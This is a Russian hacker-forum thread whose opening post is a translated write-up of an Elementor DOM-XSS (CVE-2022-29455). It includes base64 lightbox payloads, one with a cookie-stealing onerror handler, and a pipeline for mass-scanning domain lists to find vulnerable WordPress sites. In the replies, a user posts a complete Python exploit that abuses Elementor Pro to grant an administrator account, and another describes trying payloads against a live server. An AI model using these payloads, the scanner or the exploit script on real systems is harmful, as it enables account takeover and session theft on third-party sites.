• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Взлом более 6,5 миллионов веб-сайтов => CVE-2022-29455 (Elementor)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

1663209946251.png

Объявление CVE-2022-29455
Действия, которые вы должны предпринять, если у вас установлен Elementor :
Просканируйте свой сайт с помощью этого плагина для ядер

Код:
wget https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/3581482df1bfe1aef4e7fff96e183f9ef0e5bf13/cves/2022/CVE-2022-29455.yaml
nuclei -t ./CVE-2022-29455.yaml -u https://...


Проверьте свой сайт здесь - Elementor XSS Tester

При поиске известных ошибок в Elementor мы обнаружили интересную ошибку ( CVE-2021-24891 ), возникшую в прошлом, которая использует DOM-XSS для атаки на пользователя, вошедшего в систему.
Поскольку у нас уже есть некоторые познания в Javascript и в прошлом мы вместе веселились с DOM-XSS, мы решили углубиться в этот CVE.
В CVE-2021-24891 исследователь Джоэл обнаружил, что внедрение полезной нагрузки в настройки лайтбокса позволяло внедрить произвольный javascript на веб-сайт, на котором используется плагин, подробнее см. здесь — jbelamor.com/xss- elementor-lightox.html

Анализ уязвимости Джоэла / исследователь уязвимостей прим.пер./ показал нам, что полезная нагрузка использовала полезную нагрузку настроек лайтбокса в Elementor, чтобы принудительно отображать модуль лайтбокса и задавать ему пользовательские настройки в полезной нагрузке base64:
Код:
#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9

Base64, расшифровывая полезную нагрузку настроек, возвращает нам следующий json, который показывает, что атака пытается установить тип «null» и установить параметр html, который внедряет необработанный небезопасный html-код на страницу:

Код:
{"type":"null","html":"<script>alert('xss')</script>"}

Вернемся к нашей истории:


Попытка воспроизвести исходную полезную нагрузку на веб-сайте (у которого была актуальная версия) не сработала, но при чтении кода мы поняли, что есть разные значения, которые можно поместить в показанный параметр «тип». выше которого можно исследовать.
Первоначальная проблема возникла, когда параметр «тип» не был перехвачен в коде случая переключения, и, как вы можете видеть в коде, он устанавливает html, полученный от пользователя.
1663210437177.png


К сожалению, исправление для уязвимости было на месте, и javascript удаляет параметр «html» перед передачей его уязвимой функции, как показано ниже.


Но мы продолжим


Сначала небольшое заявление об отказе от ответственности, все скриншоты и наше исследование было проведено на обфусцированном коде внутри браузера, позже мы узнали, что код с открытым исходным кодом и может быть намного легче читать, но в учебных целях мы публикуем исследование как есть. запутанный код, который будет лучше имитировать ваши будущие оценки.
Возвращаясь, мы рассмотрели различные параметры «типа», которые принимает модуль лайтбокса: изображения , видео и слайд
«Изображение» мало что делает, поэтому мы его пропустили и решили продолжить с параметром «видео»:
Первое препятствие:

При использовании параметра "video" требуется также параметр "url", есть проверка, что параметр "url" должен начинаться с "http" (мое предположение, что в прошлом у него его не было и кто-то вставил "javascript://" или что-то подобное).
Разбор функции"video" приводит к интересным открытиям. Функция использует JQuery (переменная t) для установки параметров видео, которые поступают из параметра под названием "videoParams":

1663210803945.png

Как вы можете видеть в коде, чтобы достичь состояния использования переменной jQuery (t), нам нужно добавить еще один параметр с именем «videoType». Когда «videoType» равен «hosted», функция создает новый объект, который строится динамически и получает параметры «src» и «autoplay», но может быть переопределен «videoParams».
Поскольку «videoParams контролируется пользователем, мы можем добавить любой параметр к объекту видео.
Создание новой полезной нагрузки для проверки этого:
Код:
{
  "type": "video",
  "url": "http://",
  "videoType": "hosted",
  "videoParams": {
    "style": "background-color:red"
  }
}
который при кодировании в base64 выглядит как
Код:
eyJ0eXBlIjoidmlkZW8iLCJodG1sIjoieCIsInVybCI6Imh0dHA6Ly8iLCJ2aWRlb1R5cGUiOiJob3N0ZWQiLCJ2aWRlb1BhcmFtcyI6eyJzdHlsZSI6ImJhY2tncm91bmQtY29sb3I6cmVkIn19

Полезная нагрузка успешно добавила новый параметр стиля, который отображается в видео:

1663210937825.png

1663210955413.png


Просматривая атрибуты, которые могут принимать, мы обнаружили, что «onerror» также разрешен и принимает javascript, поэтому быстрое создание новой полезной нагрузки с параметром «onerror» дало нам полный эксплойт

Код:
{
    "type": "video",
    "url": "http://",
    "videoType": "hosted",
    "videoParams": {
        "onerror":"alert(document.domain+' '+document.cookie)",
        "style": "background-color:red"
    }
}

Код:
ewogICAgInR5cGUiOiAidmlkZW8iLAogICAgInV
ybCI6ICJodHRwOi8vIiwKICAgICJ2aWRlb1R5cG
UiOiAiaG9zdGVkIiwKICAgICJ2aWRlb1BhcmFtc
yI6IHsKICAgICAgICAib25lcnJvciI6ImFsZXJ0
KGRvY3VtZW50LmRvbWFpbisnICcrZG9jdW1lbnQ
uY29va2llKSIsCiAgICAgICAgInN0eWxlIjogIm
JhY2tncm91bmQtY29sb3I6cmVkIgogICAgfQp9

Если вы хотите заглянуть в код, вы можете увидеть точную область, которая уязвима: github.com/elementor/elementor/blob/release..

Наш целевой веб-сайт уязвим, но можем ли мы найти больше?


Elementor — это мегатехнология, так как она используется как минимум на 6 441 433 веб-сайтах в Интернете. - Встроенный с

К счастью для нас, у нас есть списки многих доменов и поддоменов, которые мы можем сканировать в поисках технологии. Быстрый поиск плагина начал выдавать нам уязвимые сайты:

Код:
cat list.txt | \
cut -d"/" -f3 | awk 'NF{print $0 "/wp-content/plugins/elementor/assets/js/frontend.min.js"}' | \
httpx -nc -fr -ms "elementor" -er "elementor - v[^\s]*"



Когда эта уязвимость была обнаружена, она затронула более 6,5 миллионов веб-сайтов по всему миру. Каждый веб-сайт на основе Elementor, доступный в Интернете, был затронут, если он был размещен на Elementor или размещен самостоятельно.


Что касается влияния на безопасность, злоумышленник может сделать следующее:


  • Эксфильтрация файлов cookie из уязвимых источников с использованием уязвимости межсайтового скриптинга, которая в определенных сценариях может даже привести к захвату учетных записей.
  • Выполнение JavaScript от имени жертвы
  • Обход SOAP
  • Обход CORS
  • Порча

POC||GTFO​


Мы смогли создать POC для захвата учетной записи, который при нажатии создавал нового пользователя, если администратор вошел в свою учетную запись WordPress.
 
Самое интересное и не рассказывается. То как же создать нового юзера на JS?
Походу автор специально умолчал чтобы люди включили мозги.
 
Походу автор специально умолчал чтобы люди включили мозги.
А ты не искать инфу касаемо создания юзера на JS? Просто может это работает не только тут и это не новый подход.
Та и про сканер nuclei я никогда не слышал :(
 
Та и про сканер nuclei я никогда не слышал :(
https://medium.com/javarevisited/nuclei-a-community-powered-vulnerability-scanner-3cb14bf0678a <- небольшой обзор
 
Никто не знает создать нового юзера?
через xss можно только сессию словить вроде каким образом ты собрался создавать юзера через xss?))

на гитхабе есть exploit для версии 3.11.6

вот код для создания админской учетки

Код:
#!/usr/bin/env python3

# With help of: https://blog.nintechnet.com/high-severity-vulnerability-fixed-in-wordpress-elementor-pro-plugin/
# Vulnerable versions <= 3.11.6
# Classification Broken Access Control
# OWASP Top 10 A5: Broken Access Control
# Required privilege Subscriber
# Credits JEROME BRUANDET



# prequisite: normal account with subscriber role
# Get the nonce
# Make a post request to /wp-admin/admin-ajax.php
# with actions={"pro_woocommerce_update_page_option":{"action":"pro_woocommerce_update_page_option","data":{"option_name":"users_can_register","editor_post_id":1}}}&_nonce=e870f4c82e&action=elementor_ajax
# --> To update the users_can_register option to true
# Make a post request to /wp-admin/admin-ajax.php
# with actions={"pro_woocommerce_update_page_option":{"action":"pro_woocommerce_update_page_option","data":{"option_name":"default_role","editor_post_id":"administrator"}}}&_nonce=e870f4c82e&action=elementor_ajax
# --> To update the default_role option to administrator

# Quickly register a new account
# Login as authenticated user with administrator role



import requests
BASE_URL = ""
session = requests.Session()


def login(log, pwd):
    url = f"{BASE_URL}/wp-login.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "nl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate",
               "Content-Type": "application/x-www-form-urlencoded", "Origin": BASE_URL, "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    data = {"log": log, "pwd": pwd, "wp-submit": "Log In",
            "redirect_to": f"{BASE_URL}/wp-admin/index.php?wc-ajax=1"}
    print("[*] Logging in...")
    r = session.post(url, headers=headers, data=data, allow_redirects=True)

    # Get the nonce
    content = str(r.content)
    content = content[content.find("elementor-common-js-before"):]
    content = content[:content.find("</script>")]
    nonce = content[content.find("nonce")+8:content.find("nonce")+18]
    print(f"[*] Got nonce: {nonce}")
    return nonce


def update_users_can_register(nonce, can_register=1):
    url = f"{BASE_URL}/wp-admin/admin-ajax.php"
    data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"users_can_register\",\"editor_post_id\":%d}}}" % can_register,
                  "_nonce": nonce, "action": "elementor_ajax"}
    r = session.post(url, data=data)
    resp = r.json()

    try:
        if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]:
            print(f"[*] Updated users_can_register option to {can_register}")
    except:
        print(f"[!] Failed to update users_can_register option to {can_register}")

def update_default_role(nonce, default_role="administrator"):
    url = f"{BASE_URL}/wp-admin/admin-ajax.php"
    data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"default_role\",\"editor_post_id\":\"%s\"}}}" % default_role,
                  "_nonce": nonce, "action": "elementor_ajax"}
    r = session.post(url, data=data)
    resp = r.json()

    try:
        if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]:
            print(f"[*] Updated default_role option to {default_role}")
    except:
        print(f"[!] Failed to update default_role option to {default_role}")


def register_account_with_admin_priv(username, email):
    url = f"{BASE_URL}/wp-login.php?action=register"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "nl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded",  "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    data = {"user_login": username, "user_email": email, "redirect_to": '', "wp-submit": "Register"}
    r = requests.post(url, headers=headers, data=data)
    if r.status_code == 200:
        print(f"[*] Successfully registered admin account {username} with email {email}")
        print(f"[*] Check your email for the credentials")
  
    else:
        print(f"[!] Failed to register admin account {username} with email {email}")
        print(f"[!] Status code: {r.status_code}")
  
  


def explain_script():
    txt = """
python3 elementor_exploit.py <url> <username> <password> <email>
example: python3 elementor_exploit.py http://wordpress.local dahacker password test@email.com
where:
    url: the url of the wordpress site
    username: the username of the subscriber account
    password: the password of the subscriber account
    email: the email address to register the admin account with (default username: explOit)
    """
    print(txt)


if __name__ == "__main__":
    import sys
    if len(sys.argv) != 5 or sys.argv[1] == "-h" or sys.argv[1] == "--help":
        explain_script()
        exit(0)

    BASE_URL = sys.argv[1]
    log = sys.argv[2]
    pwd = sys.argv[3]
    email = sys.argv[4]


    nonce = login(log, pwd)
    update_users_can_register(nonce)
    update_default_role(nonce)
    register_account_with_admin_priv("explOit", email)
    print(f"[*] Setting the default_role back to subscriber and users_can_register back to false")
    update_users_can_register(nonce, 0)
    update_default_role(nonce, "subscriber")
 
Последнее редактирование:
через xss можно только сессию словить
тыкал пейлоды, сессия не прилетает. сюда пейлод- action=PAYLOAD== в бейз64 ??
система
[200 OK] Apache[2.4.18], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх